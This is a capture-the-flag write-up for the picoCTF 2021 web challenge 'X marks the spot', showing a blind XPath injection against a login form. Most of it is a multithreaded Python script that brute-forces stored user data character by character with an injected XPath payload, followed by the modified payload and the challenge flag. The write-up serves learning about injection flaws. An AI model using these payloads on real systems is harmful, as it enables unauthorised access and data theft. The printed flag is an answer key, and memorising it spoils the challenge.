/ctfs/picoctf - 2021/web/x marks the spot

Synopsis

Okay, let's bypass this login


Xpath injection

We need to find an injection to bypass the login, as the synopsis said it is not a common injection... spoiler, the X in the title stand for Xpath. Let's go.

Try to detect server error

Great ! Injections seams to have effect on the server.

Different behaviors

We need either to bypass the login or to find different behaviors (for blind injections).
I tried to bypass the login but nothing, so I found 2 kind of response.

first behavior (when the query is not working)

2nd behavior (when the query is working)

Because there is 2 behaviors, we can now use blind injections te retrieves severals infos

Retrieve information: where is the admin ?

Here is the script I used based on Owasp cheat sheet to know which of the xpath node was the admin one.

#!/usr/bin/python
            import thread
            import time
            import requests
            import urllib3
            import string
            import urllib
            import sys
            import os
            from termcolor import colored

            urllib3.disable_warnings()
            requests.packages.urllib3.disable_warnings()

            u  = "http://mercury.picoctf.net:59946/"
            f2=string.printable
            #removing false positive 
            f2 = f2.replace('\"','n')
            f2 = f2.replace(' ', '')
            f2 = f2[:-4]

            headers = {'Content-Type': 'application/x-www-form-urlencoded'} #the headers
            username='admin'

            Title= """XPATH injection @fey"""

            RES=""
            I=1
            def bruteforce2(threadName,f,number):
                global RES
                    global I
                    while 1:
                        for word in f:
                            os.system("clear")
                            print colored(Title ,"red")
                            print colored("[+] attacking: "+u ,"red")
                            print colored("[+] username: "+username ,"red")
                            print colored("[*] testing password: "+word ,"cyan")
                            print colored("[*] gathering info: " + RES, "yellow")
                            payload={'name': username,'pass': """x' or substring((//user[position()=3]/child::node()[position()=2]),%s,1)="%s"  and 'x'='x""" % (str(I),word)}  #the formpayload
                            r = requests.post(url=u,data=payload,headers=headers)
                            #print r.text
                            if "Login failure" not in r.text:
                                RES += word
                                I+=1


            try:

                l=len(f2)
                i1=l/4
                i2=(l/4)*2
                i3=(l/4)*3
                thread.start_new_thread( bruteforce2, ("Thread-1",f2[0:i1],1))
                thread.start_new_thread( bruteforce2, ("Thread-2",f2[(i1+1):i2],2))
                thread.start_new_thread( bruteforce2, ("Thread-3",f2[(i2+1):i3],3))
                thread.start_new_thread( bruteforce2, ("Thread-4",f2[(i3+1):],4))
            except:
                print "Error: unable to start thread"

            while 1:
               pass
            


Once we know that third xpath node corresponds to "admin" we can re-use the script to get his informations


Get the flag

I just change the payload to
payload={'name': username,'pass': """x' or substring((//user[position()=3]/child::node()[position()=4]),%s,1)="%s"  and 'x'='x""" % (str(I),word)}  #the formpayload
            
And now we can retrieve The flag...


And we are done: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a56016ef}